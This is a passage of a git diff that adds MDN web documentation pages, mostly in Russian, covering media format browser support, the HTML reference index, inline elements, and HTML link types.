+   <td>Partial (see below)</td>
+   <td>10.0</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>Partial (see below)</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;audio&gt;</code>: Opus in Ogg</td>
+   <td>{{ CompatNo() }}</td>
+   <td>24.0</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>Partial (see below)</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;video&gt;</code>:  VP8 and Vorbis in WebM</td>
+   <td>2.3</td>
+   <td>24.0</td>
+   <td>1.0.1</td>
+   <td>{{ CompatNo() }}</td>
+   <td>16.0</td>
+   <td>Partial (see below)</td>
+   <td>{{ CompatNo() }}</td>
+   <td>29.0</td>
+  </tr>
+  <tr>
+   <td><code>&lt;video&gt;</code>: VP9 and Opus in WebM</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;video&gt;</code>: Streaming VP9 and Opus/VP8 and Opus in WebM via <a href="https://w3c.github.io/media-source/">Media Source Extensions (MSE)</a></td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;video&gt;</code>: Theora and Vorbis in Ogg</td>
+   <td>{{ CompatNo() }}</td>
+   <td>24.0</td>
+   <td>1.0.1</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>Partial (see below)</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td><code>&lt;video&gt;</code>:  H.264 and MP3 in MP4</td>
+   <td>Partial (see below)</td>
+   <td>24.0</td>
+   <td>Partial (see below)</td>
+   <td>10.0</td>
+   <td>Partial since 11.0, full since 16.0</td>
+   <td>Partial (see below)</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>29.0</td>
+  </tr>
+  <tr>
+   <td><code>&lt;video&gt;</code>: H.264 and AAC in MP4</td>
+   <td>Partial (see below)</td>
+   <td>24.0</td>
+   <td>Partial (see below)</td>
+   <td>10.0</td>
+   <td>Partial since 11.0, full since 16.0</td>
+   <td>Partial (see below)</td>
+   <td>3.2</td>
+   <td>29.0</td>
+  </tr>
+  <tr>
+   <td>any other format</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Notes:</p>
+
+<ul>
+ <li>AAC is only supported in the MP4 container.</li>
+ <li>Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats.</li>
+ <li>To get the default Android browser to play H.264 video, you need to jump through some hoops, as <a href="http://www.broken-links.com/2010/07/08/making-html5-video-work-on-android-phones/">explained by Peter Gasston</a>.</li>
+ <li>In Firefox OS 1.0.1, when detecting <code>&lt;video&gt;</code> support for different formats, <code>HTMLMediaElement.prototype.canPlayType</code> incorrectly reports <code>true</code> for h.264 video whereas in actual fact h.264 is not supported. In Firefox OS 1.1 this problem has been fixed.</li>
+ <li>To avoid patent issues, support for MPEG 4, H.264, MP3 and AAC is not built directly into Firefox on desktop and mobile (Android and Firefox OS). Instead it relies on support from the OS or hardware (the hardware also needs to be able to support the profile used to encode the video, in the case of MP4). Firefox desktop supports these formats on the following platforms:</li>
+</ul>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Platform</th>
+   <th scope="col">Firefox version</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=825153" title="https://bugzilla.mozilla.org/show_bug.cgi?id=825153">Windows Vista</a>+</td>
+   <td>22.0+</td>
+  </tr>
+  <tr>
+   <td><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=748351" title="https://bugzilla.mozilla.org/show_bug.cgi?id=748351">Android</a></td>
+   <td>20.0+</td>
+  </tr>
+  <tr>
+   <td><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=714408" title="https://bugzilla.mozilla.org/show_bug.cgi?id=714408">Firefox OS</a></td>
+   <td>15.0+</td>
+  </tr>
+  <tr>
+   <td>Linux</td>
+   <td>
+    <p>26.0+ (relies on GStreamer codecs)</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=851290">OS X 10.7+</a></td>
+   <td>35.0+</td>
+  </tr>
+ </tbody>
+</table>
+
+<ul>
+ <li><a class="external" href="http://dev.opera.com/articles/view/introduction-html5-video/#codecs" title="http://dev.opera.com/articles/view/introduction-html5-video/#codecs">Video codecs in Opera</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/library/ff975073%28v=VS.85%29.aspx" title="http://msdn.microsoft.com/en-us/library/ff975073%28v=VS.85%29.aspx">Video codecs in Internet Explorer</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/library/ff975061%28v=vs.85%29.aspx" title="http://msdn.microsoft.com/en-us/library/ff975061%28v=vs.85%29.aspx">Audio codecs in Internet Explorer</a></li>
+ <li><a href="http://www.chromium.org/audio-video" title="http://www.chromium.org/audio-video">Audio &amp; Video codecs in Chrome</a></li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="internal" href="/en/Using_HTML5_audio_and_video" title="En/Using audio and video in Firefox">Using audio and video in Firefox</a></li>
+ <li><a href="http://bluishcoder.co.nz/2013/08/21/html-media-support-in-firefox.html">HTML media support in Firefox</a></li>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#media-elements" title="http://www.whatwg.org/specs/web-apps/current-work/#media-elements">Media elements</a> (HTML 5 specification)</li>
+ <li><code><a class="internal" href="/en/HTML/Element/Video" title="En/HTML/Element/Video">video</a></code></li>
+ <li><a class="internal" href="/en/HTML/Element/Audio" title="En/HTML/Element/Audio"><code>audio</code></a></li>
+</ul>
diff --git a/files/ru/web/html/ссылки/index.html b/files/ru/web/html/ссылки/index.html
new file mode 100644
index 0000000000..285cf4b590
--- /dev/null
+++ b/files/ru/web/html/ссылки/index.html
@@ -0,0 +1,32 @@
+---
+title: Справка по HTML
+slug: Web/HTML/Ссылки
+tags:
+  - HTML
+  - Landing
+  - Web
+  - Веб
+  - Справка
+  - лендинг
+translation_of: Web/HTML/Reference
+---
+<div>{{HTMLSidebar}}</div>
+
+<p>Эта справка описывает все <strong>элементы</strong> и <strong>атрибуты</strong> <a href="/ru/docs/Web/HTML">HTML</a>, включая <strong>глобальные атрибуты</strong>, которые применяются ко всем элементам.</p>
+
+<dl>
+ <dt><a href="/ru/docs/Web/HTML/Element">Справка по HTML-элементам</a></dt>
+ <dd>На этой странице перечислены все HTML-элементы.</dd>
+ <dt><a href="/ru/docs/Web/HTML/Attributes">Справка по HTML-атрибутам</a></dt>
+ <dd>У элементов в HTML есть атрибуты; это дополнительные величины, которые настраивают элементы или управляют их поведением различными способами, чтобы соответствовать критериям, которые хотят пользователи.</dd>
+ <dt><a href="/ru/docs/Web/HTML/Общие_атрибуты">Глобальные атрибуты</a></dt>
+ <dd>Глобальные атрибуты - это атрибуты общие для всех элементов HTML; они могут использоваться на всех элементах, однако могут не оказывать влияние на некоторые элементы.</dd>
+ <dt><a href="/ru/docs/Web/HTML/Типы_ссылок">Типы ссылок</a></dt>
+ <dd>В HTML следующие типы ссылок указывают на связь между двумя документами, в котором один связывается с другим с помощью элементов {{HTMLElement("a")}}, {{HTMLElement("area")}} или {{HTMLElement("link")}}.</dd>
+ <dt><a href="/ru/docs/Web/Guide/HTML/Content_categories">Категории контента</a></dt>
+ <dd>Каждый элемент HTML принадлежит одной или более категории контента - эти категории группируют элементы, которые имеют общие характеристики.</dd>
+ <dt><a href="/en-US/docs/Web/HTML/Date_and_time_formats">Форматы даты и времени, применяемые в HTML</a></dt>
+ <dd>Некоторые элементы HTML позволяют вам указывать дату и/или время как значение или как значение атрибута. К ним относятся изменение даты и времени элемента {{HTMLElement("input")}}, а так же элементов {{HTMLElement("ins")}} и {{HTMLElement("del")}}.</dd>
+</dl>
+
+<p><span class="alllinks"><a href="/ru/docs/tag/HTML" title="Статьи с меткой HTML">Посмотреть все страницы с меткой "HTML"...</a></span></p>
diff --git a/files/ru/web/html/строчные_элементы/index.html b/files/ru/web/html/строчные_элементы/index.html
new file mode 100644
index 0000000000..bc89aa392c
--- /dev/null
+++ b/files/ru/web/html/строчные_элементы/index.html
@@ -0,0 +1,51 @@
+---
+title: Строчные элементы
+slug: Web/HTML/Строчные_Элементы
+translation_of: Web/HTML/Inline_elements
+---
+<h2 id="Summary" name="Summary">Определение</h2>
+
+<p><span class="seoSummary">В HTML (Языке Гипертекстовой Разметки), строчные элементы это те, которые занимают только то пространство, которое ограничено тегами, определяющими строчный элемент (необходимое для отображения их содержимого) и не нарушая потока содержимого (не требующее новой строки после каждого элемента). В этой статье мы рассмотрим встроенные элементы HTML и то, как они отличаются от  <a href="/ru/docs/Web/HTML/Block-level_elements">блочных элементов</a>.</span></p>
+
+<div class="note">
+<p>Строчный элемент не начинается с новой строки и в ширину занимает столько места, сколько это необходимо для его отображения.</p>
+</div>
+
+<h2 id="Inline_example" name="Inline_example">Пример строчного элемента</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Этот элемент &lt;span&gt;span&lt;/span&gt; строчный; цвет его фона изменен, чтобы показать начало и конец элемента.&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">span { background-color: #8ABB55; }
+</pre>
+
+<p>{{ EmbedLiveSample('Inline_example') }}</p>
+
+<h2 id="Строчные_vs._блочные">Строчные vs. блочные</h2>
+
+<dl>
+ <dt>Модель контента</dt>
+ <dd>Как правило, встроенные элементы могут содержать только данные и другие встроенные элементы. Вы не можете помещать элементы блока внутри встроенных элементов.</dd>
+ <dt>Форматирование</dt>
+ <dd>По умолчанию встроенные элементы не заставляют новую строку начинаться в потоке документа. С другой стороны, элементы блока обычно вызывают разрыв строки (хотя, как обычно, это можно изменить с помощью CSS).</dd>
+</dl>
+
+<h2 id="Elements" name="Elements">Элементы</h2>
+
+<p>Следующие элементы являются строчными:</p>
+
+<ul id="inline-elements">
+ <li><a href="/en/HTML/Element/b" title="en/HTML/Element/b">b</a>, <a href="/en/HTML/Element/big" title="en/HTML/Element/big">big</a>, <a href="/en/HTML/Element/i" title="en/HTML/Element/i">i</a>, <a href="/en/HTML/Element/small" title="en/HTML/Element/small">small</a>, <a href="/en/HTML/Element/tt" title="en/HTML/Element/tt">tt</a></li>
+ <li><a href="/en/HTML/Element/abbr" title="en/HTML/Element/abbr">abbr</a>, <a href="/en/HTML/Element/acronym" title="en/HTML/Element/acronym">acronym</a>, <a href="/en/HTML/Element/cite" title="en/HTML/Element/cite">cite</a>, <a href="/en/HTML/Element/code" title="en/HTML/Element/code">code</a>, <a href="/en/HTML/Element/dfn" title="en/HTML/Element/dfn">dfn</a>, <a href="/en/HTML/Element/em" title="en/HTML/Element/em">em</a>, <a href="/en/HTML/Element/kbd" title="en/HTML/Element/kbd">kbd</a>, <a href="/en/HTML/Element/strong" title="en/HTML/Element/strong">strong</a>, <a href="/en/HTML/Element/samp" title="en/HTML/Element/samp">samp</a>, <a href="/en/HTML/Element/time">time</a>, <a href="/en/HTML/Element/var" title="en/HTML/Element/var">var</a></li>
+ <li><a href="/en/HTML/Element/a" title="en/HTML/Element/a">a</a>, <a href="/en/HTML/Element/bdo" title="en/HTML/Element/bdo">bdo</a>, <a href="/en/HTML/Element/br" title="en/HTML/Element/br">br</a>, <a href="/En/HTML/Element/Img" title="En/HTML/Element/Img">img</a>, <a href="/en/HTML/Element/map" title="en/HTML/Element/map">map</a>, <a href="/en/HTML/Element/object" title="en/HTML/Element/object">object</a>, <a href="/en/HTML/Element/q" title="en/HTML/Element/q">q</a>, <a href="/En/HTML/Element/Script" title="En/HTML/Element/Script">script</a>, <a href="/en/HTML/Element/span" title="en/HTML/Element/span">span</a>, <a href="/en/HTML/Element/sub" title="en/HTML/Element/sub">sub</a>, <a href="/en/HTML/Element/sup" title="en/HTML/Element/sup">sup</a></li>
+ <li><a href="/en/HTML/Element/button" title="en/HTML/Element/button">button</a>, <a href="/en/HTML/Element/Input" title="en/HTML/Element/Input">input</a>, <a href="/en/HTML/Element/label" title="en/HTML/Element/label">label</a>, <a href="/en/HTML/Element/select" title="en/HTML/Element/select">select</a>, <a href="/en/HTML/Element/textarea" title="en/HTML/Element/textarea">textarea</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/HTML/Block-level_elements" title="en/HTML/Block-level_elements">Блочные элементы</a></li>
+</ul>
diff --git a/files/ru/web/html/типы_ссылок/index.html b/files/ru/web/html/типы_ссылок/index.html
new file mode 100644
index 0000000000..23386346a7
--- /dev/null
+++ b/files/ru/web/html/типы_ссылок/index.html
@@ -0,0 +1,502 @@
+---
+title: Типы ссылок
+slug: Web/HTML/Типы_ссылок
+translation_of: Web/HTML/Link_types
+---
+<p>{{HTMLSidebar}}</p>
+
+<p>В HTML следующие типы ссылок показывают отношения между двумя документами, в одном из которых, ссылка ведёт к другому, используя элементы {{HTMLElement("a")}}, {{HTMLElement("area")}} или {{HTMLElement("link")}}.</p>
+
+<table class="standard-table">
+ <caption>Список типов ссылок и их значений в HTML</caption>
+ <thead>
+  <tr>
+   <th scope="col">Тип ссылки</th>
+   <th scope="col">Описание</th>
+   <th scope="col" style="width: 12em;">Разрешён в этих элементах</th>
+   <th scope="col">Не разрешён в</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>alternate</code></td>
+   <td>
+    <ul>
+     <li>If the element is {{HTMLElement("link")}} and the {{htmlattrxref("rel", "link")}} attribute also contains the <code>stylesheet</code> type, the link defines an <a href="/en-US/docs/Alternative_style_sheets">alternative style sheet</a>; in that case the {{htmlattrxref("title", "link")}} attribute must be present and not be the empty string.</li>
+     <li>If the {{htmlattrxref("type","link")}} is set to <code>application/rss+xml</code> or <code>application/atom+xml</code>, the link defines a <a href="/en-US/docs/RSS/Getting_Started/Syndicating">syndication feed</a>. The first one defined on the page is the default.</li>
+     <li>Otherwise, the link defines an alternative page, of one of these types:
+      <ul>
+       <li>for another medium, like a handheld device (if the {{htmlattrxref("media","link")}} attribute is set)</li>
+       <li>in another language (if the {{htmlattrxref("hreflang","link")}} attribute is set),</li>
+       <li>in another format, such as a PDF (if the {{htmlattrxref("type","link")}} attribute is set)</li>
+       <li>a combination of these</li>
+      </ul>
+     </li>
+    </ul>
+   </td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>Нет</em></td>
+  </tr>
+  <tr>
+   <td><code>archives</code> {{obsolete_inline}}</td>
+   <td>Defines a hyperlink to a document that contains an archive link to this one. For example, a blog entry could link to a monthly index page this way.<br>
+    <br>
+    <strong>Note:</strong> Although recognized, the singular <code>archive</code> is incorrect and must be avoided.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>Нет</em></td>
+  </tr>
+  <tr>
+   <td><code>author</code></td>
+   <td>Defines a hyperlink to a page describing the author or providing a way to contact the author.<br>
+    <br>
+    <strong>Note:</strong> This may be a <code>mailto:</code> hyperlink, but this is not recommended on public pages as robot harvesters will quickly lead to a lot of spam sent to the address. In that case, it is better to lead to a page containing a contact form.<br>
+    <br>
+    Although recognized, the {{htmlattrxref("rev", "link")}} attribute on {{HTMLElement("a")}}, {{HTMLElement("area")}} or{{HTMLElement("link")}} elements with a link type of <code>made</code> is incorrect and should be replaced by the {{htmlattrxref("rel", "link")}} attribute with this link type.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>Нет</em></td>
+  </tr>
+  <tr>
+   <td><code>bookmark</code></td>
+   <td>Indicates that the hyperlink is a <a href="/en-US/docs/Permalink">permalink</a> for the nearest ancestor {{HTMLElement("article")}} element. If none, it is a permalink for the <a href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document">section</a> that the element is most closely associated to.<br>
+    <br>
+    This allows for bookmarking a single article in a page containing multiple articles, such as on a monthly summary blog page, or a blog aggregator.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+   <td>{{HTMLElement("link")}}</td>
+  </tr>
+  <tr>
+   <td><code>dns-prefetch</code> {{experimental_inline}}</td>
+   <td>Hints to the browser that a resources is needed allowing the browser to do a DNS lookup and protocol handshaking before a user clicks the link.</td>
+   <td>{{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+  </tr>
+  <tr>
+   <td><code>external</code></td>
+   <td>Indicates that the hyperlink leads to a resource outside the site of the current page; that is, following the link will make the user leave the site.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+   <td>{{HTMLElement("link")}}</td>
+  </tr>
+  <tr>
+   <td><code>first</code> {{obsolete_inline}}</td>
+   <td>Indicates that the hyperlink leads to the first resource of the <em>sequence</em> the current page is in.<br>
+    <br>
+    <strong>Note:</strong> Other link types related to linking resources in the same sequence are <code>last</code>, <code>prev</code>, <code>next</code>.<br>
+    <br>
+    Although recognized, the synonyms <code>begin</code> and <code>start</code> are incorrect and must be avoided.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>Нет</em></td>
+  </tr>
+  <tr>
+   <td><code>help</code></td>
+   <td>
+    <ul>
+     <li>If the element is {{HTMLElement("a")}} or {{HTMLElement("area")}}, it indicates that the hyperlink leads to a resource giving further help about the parent of the element, and its descendants.</li>
+     <li>If the element is {{HTMLElement("link")}} it indicates that the hyperlink leads to a resource giving further help about the page as a whole.</li>
+    </ul>
+   </td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>Нет</em></td>
+  </tr>
+  <tr>
+   <td><code>icon</code></td>
+   <td>Defines a resource for representing the page in the user interface, usually an icon (auditory or visual).<br>
+    <br>
+    The {{htmlattrxref("media","link")}}, {{htmlattrxref("type","link")}} and {{htmlattrxref("sizes","link")}} attributes allow the browser to select the most appropriate icon for its context. If several resources match, the browser will select the last one declared, in tree order. As these attributes are merely hints, and the resources may be inappropriate upon further inspection, the browser will then select another one, if appropriate.<br>
+    <br>
+    <strong>Note:</strong> Apple's iOS does not use this link type, nor the {{htmlattrxref("sizes","link")}} attribute, like others mobile browsers do, to select a webpage icon for Web Clip or a start-up placeholder. Instead it uses the non-standard <a href="http://edr.euro.apple.com/library/safari/documentation/AppleApplications/Reference/SafariWebContent/ConfiguringWebApplications/ConfiguringWebApplications.html#//apple_ref/doc/uid/TP40002051-CH3-SW4"><code>apple-touch-icon</code></a> and <a href="http://edr.euro.apple.com/library/safari/documentation/AppleApplications/Reference/SafariWebContent/ConfiguringWebApplications/ConfiguringWebApplications.html#//apple_ref/doc/uid/TP40002051-CH3-SW6"><code>apple-touch-startup-image</code></a> respectively.<br>
+    <br>
+    The <code>shortcut</code> link type is often seen before <code>icon</code>, but this link type is non-conforming, ignored and <strong>web authors must not use it anymore</strong>.</td>
+   <td>{{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+  </tr>
+  <tr>
+   <td><code>index</code> {{obsolete_inline}}</td>
+   <td>Indicates that the page is part of a <em>hierarchical</em> structure and that the hyperlink leads to the top level resource of that structure.<br>
+    <br>
+    If one or several <code>up</code> link types are also present, the number of these <code>up</code> indicates the depth of the current page in the hierarchy.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>Нет</em></td>
+  </tr>
+  <tr>
+   <td><code>last</code> {{obsolete_inline}}</td>
+   <td>Indicates that the hyperlink leads to the <em>last</em> resource of the <em>sequence</em> the current page is in.<br>
+    <br>
+    <strong>Note:</strong> Other link types related to linking resources in the same sequence are <code>first</code>, <code>prev</code>, <code>next</code>.<br>
+    <br>
+    Although recognized, the synonym <code>end</code> is incorrect and must be avoided.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>Нет</em></td>
+  </tr>
+  <tr>
+   <td><code>license</code></td>
+   <td>Indicates that the hyperlink leads to a document describing the licensing information. If not inside the {{HTMLElement("head")}} element, the standard doesn't distinguish between a hyperlink applying to a specific part of the document or to the document as a whole. Only the data on the page can indicate this.<br>
+    <br>
+    <strong>Note: </strong>Although recognized, the synonym <code>copyright</code> is incorrect and must be avoided.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>Нет</em></td>
+  </tr>
+  <tr>
+   <td><code>manifest</code></td>
+   <td>Indicates that the linked file is a <a href="https://developer.mozilla.org/en-US/docs/Web/Manifest">Web App Manifest</a>.</td>
+   <td>{{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+  </tr>
+  <tr>
+   <td><code>next</code></td>
+   <td>Indicates that the hyperlink leads to the <em>next</em> resource of the <em>sequence</em> the current page is in.<br>
+    <br>
+    <strong>Note:</strong> Other link types related to linking resources in the same sequence are <code>first</code>, <code>prev</code>, <code>last</code>.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>Нет</em></td>
+  </tr>
+  <tr>
+   <td><code>nofollow</code></td>
+   <td>Indicates that the linked document is not endorsed by the author of this one, for example if it has no control over it, if it is a bad example or if there is commercial relationship between the two (sold link). This link type may be used by some search engines that use popularity ranking techniques.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+   <td>{{HTMLElement("link")}}</td>
+  </tr>
+  <tr>
+   <td><code>noopener</code></td>
+   <td>Instructs the browser to open the link without granting the new browsing context access to the document that opened it, by not setting the {{domxref("Window.opener")}} property on the opened window.<br>
+    <br>
+    This is especially useful when opening untrusted links, in order to ensure they cannot tamper with the originating document, while still providing the <code>Referer</code> HTTP header (unless <code>noreferrer</code> is used as well).</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+   <td>{{HTMLElement("link")}}</td>
+  </tr>
+  <tr>
+   <td><code>noreferrer</code></td>
+   <td>
+    <p>Prevents the browser, when navigating to another page, to send this page name, or any other value, as referrer via the <code>Referer:</code> HTTP header.<br>
+     (In Firefox, before Firefox 37, this worked only in links found in pages. Links clicked in the UI, like "Open in a new tab" via the contextual menu, ignored this).</p>
+   </td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+   <td>{{HTMLElement("link")}}</td>
+  </tr>
+  <tr>
+   <td><code>pingback</code></td>
+   <td>Defines an external resource URI to call if one make a comment or a citation about the webpage. The protocol used to make such a call is defined in the <a href="http://www.hixie.ch/specs/pingback/pingback">Pingback 1.0</a> specification.<br>
+    <br>
+    <strong>Note:</strong> if the <code>X-Pingback:</code> HTTP header is also present, it supersedes the {{HTMLElement("link")}} element with this link type.</td>
+   <td>{{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+  </tr>
+  <tr>
+   <td><code>preconnect</code> {{experimental_inline}}</td>
+   <td>Provides a hint to the browser suggesting that it open a connection to the linked web site in advance, without disclosing any private information or downloading any content, so that when the link is followed the linked content can be fetched more quickly.</td>
+   <td>{{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+  </tr>
+  <tr>
+   <td><code>prefetch</code></td>
+   <td>Suggests that the browser fetch the linked resource in advance, as it is likely to be requested by the user. Starting with Firefox 44, the value of the {{htmlattrxref("crossorigin", "link")}} attribute is taken into consideration, making it possible to make anonymous prefetches.<br>
+    <br>
+    <strong>Note:</strong> The <a href="/en-US/docs/Link_prefetching_FAQ">Link Prefetch FAQ</a> has details on which links can be prefetched and on alternative methods.</td>
+   <td>{{HTMLElement("a")}} {{unimplemented_inline}},<br>
+    {{HTMLElement("area")}} {{unimplemented_inline}},<br>
+    {{HTMLElement("link")}}</td>
+   <td><em>Нет</em></td>
+  </tr>
+  <tr>
+   <td><code>preload</code></td>
+   <td>Tells the browser to download a resource because this resource will be needed later during the current navigation.</td>
+   <td>{{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+  </tr>
+  <tr>
+   <td><code>prerender</code> {{experimental_inline}}</td>
+   <td>Suggests that the browser fetch the linked resource in advance, and that it also render the prefetched content offscreen so it can be quickly presented to the user once needed.</td>
+   <td>{{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+  </tr>
+  <tr>
+   <td><code>prev</code></td>
+   <td>Indicates that the hyperlink leads to the <em>preceding</em> resource of the <em>sequence</em> the current page is in.<br>
+    <br>
+    <strong>Note:</strong> You can also use the <code>next</code> keyword to specify a link to the next page in the sequence.<br>
+    <br>
+    Although recognized, the synonym <code>previous</code> is incorrect and must be avoided.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>Нет</em></td>
+  </tr>
+  <tr>
+   <td><code>search</code></td>
+   <td>Indicates that the hyperlink reference a document whose interface is specially designing for searching in this document, or site, and its resources.<br>
+    <br>
+    If the {{htmlattrxref("type","link")}} attribute is set to <code>application/opensearchdescription+xml </code>the resource is an <a href="/en-US/docs/Creating_OpenSearch_plugins_for_Firefox">OpenSearch plugin</a> that can be easily added to the interface of some browsers like Firefox or Internet Explorer.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>Нет</em></td>
+  </tr>
+  <tr>
+   <td><code>stylesheet</code></td>
+   <td>Defines an external resource to be used as a stylesheet. If the <code>type</code> is not set, the browser should assume it is a <code>text/css</code> stylesheet until further inspection.<br>
+    <br>
+    If used in combination with the <code>alternate</code> keyword, it defines an <a href="/en-US/docs/Alternative_style_sheets">alternative style sheet</a>; in that case the {{htmlattrxref("title", "link")}} attribute must be present and not be the empty string.</td>
+   <td>{{HTMLElement("link")}}</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+  </tr>
+  <tr>
+   <td><code>sidebar</code> {{non-standard_inline}}</td>
+   <td>Indicates that the hyperlink leads to a resource that would be better suited for a secondary browsing context, like a <em>sidebar</em>. Browsers, that don't have such a context will ignore this keyword.<br>
+    <br>
+    While once part of the HTML specification, this has been removed from the spec and is only implemented by Firefox at this time.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>Нет</em></td>
+  </tr>
+  <tr>
+   <td><code>tag</code></td>
+   <td>Indicates that the hyperlink refers to a document describing a <em>tag</em> that applies to this document.<br>
+    <br>
+    <strong>Note:</strong> This link type should not be set on links to a member of a tag cloud as these do not apply to a single document but to a set of pages.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}</td>
+   <td>{{HTMLElement("link")}}</td>
+  </tr>
+  <tr>
+   <td><code>up</code> {{obsolete_inline}}</td>
+   <td>Indicates that the page is part of a <em>hierarchical</em> structure and that the hyperlink leads to the higher level resource of that structure.<br>
+    <br>
+    The number of <code>up</code> link types indicates the depth difference between the current page and the linked resource.</td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("link")}}</td>
+   <td><em>Нет</em></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Preload','#link-type-preload','preload')}}</td>
+   <td>{{Spec2('Preload')}}</td>
+   <td>Добавлен <code>preload</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Resource Hints', '#dfn-preconnect', 'preconnect')}}</td>
+   <td>{{Spec2('Resource Hints')}}</td>
+   <td>Добавлены <code>dns-prefetch</code>, <code>preconnect</code> и <code>rerender</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-link-element', '&lt;link&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
